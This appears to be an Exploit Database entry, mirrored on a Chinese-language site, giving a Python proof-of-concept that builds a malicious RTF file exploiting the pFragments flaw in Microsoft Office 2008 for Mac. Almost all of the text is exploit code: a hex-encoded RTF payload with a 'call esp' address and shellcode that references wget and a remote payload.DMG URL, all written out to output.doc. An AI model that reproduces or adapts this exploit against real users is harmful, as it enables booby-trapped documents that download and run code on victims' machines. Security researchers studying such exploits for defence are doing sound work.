Microsoft Office 2008 SP0 (Mac) – RTF pFragments

• Exploit Database
• 18 阅读

• 作者： Abhishek Lyall
  日期： 2012-04-18
• 类别：

  • local
  平台：

  • osx
• 来源：https://www.exploit-db.com/exploits/18749/

• #RTF Pfragments exploit for MAC office 2008
  #Author Abhishek Lyall - abhilyall[at]gmail[dot]com, info[at]aslitsecurity[dot]com
  #Advanced Hacking Trainings - http://training.aslitsecurity.com
  #Web - http://www.aslitsecurity.com/
  #Blog - http://www.aslitsecurity.blogspot.com/
  #Office 2007 for MC SP 0
  #!/usr/bin/python
  
  myfile = (
  "\x7b\x5c\x72\x74\x66\x31\x7b\x5c\x73\x68\x70\x7b\x5c\x73\x70\x7b" 
  "\x5c\x73\x6e\x20\x70\x46\x72\x61\x67\x6d\x65\x6e\x74\x73\x7d\x7b" 
  "\x5c\x73\x76\x20\x39\x3b\x32\x3b\x31\x31\x31\x31\x31\x31\x31\x31" 
  "\x37\x35\x30\x30\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32" 
  "\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32" 
  "\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32"
  "f069837c"# call esp
  "\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31"
  "\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31" 
  "\x31\x31\x31\x31\x30\x30\x30\x30\x30\x30\x30\x30\x62\x61\x30\x30" 
  "\x30\x30\x35\x30\x30\x30\x36\x36\x38\x31\x63\x61\x66\x66\x30\x66" 
  "\x34\x32\x35\x32\x36\x61\x30\x32\x35\x38\x63\x64\x32\x65\x33\x63" 
  "\x30\x35\x35\x61\x37\x34\x65\x66\x62\x38\x37\x30\x36\x39\x36\x65"
  "\x36\x37\x38\x62\x66\x61\x61\x66\x37\x35\x65\x61\x61\x66\x37\x35" 
  "\x65\x37\x35\x37\x63\x33\x7d\x7d\x7d\x7d"
  )
  
  sign = (
  "\x70\x69\x6e\x67\x70\x69\x6e\x67"
  )
  
  shellcode = "\xCC\xCC\xCC\xCC"
  shellcode += "http://www.site.com/payload.DMG"
  shellcode += "\x11\x3A\x65\x89\x11\x3A\x65\x89\x11\x3A\x65\x89" #("wget http://")
  shellcode += "wget "
  shellcode += "\x1A\x18\x19\x02"
  
  exploit = open("output.doc", mode="wb")
  exploit.write(myfile + sign + shellcode)
  print "Done"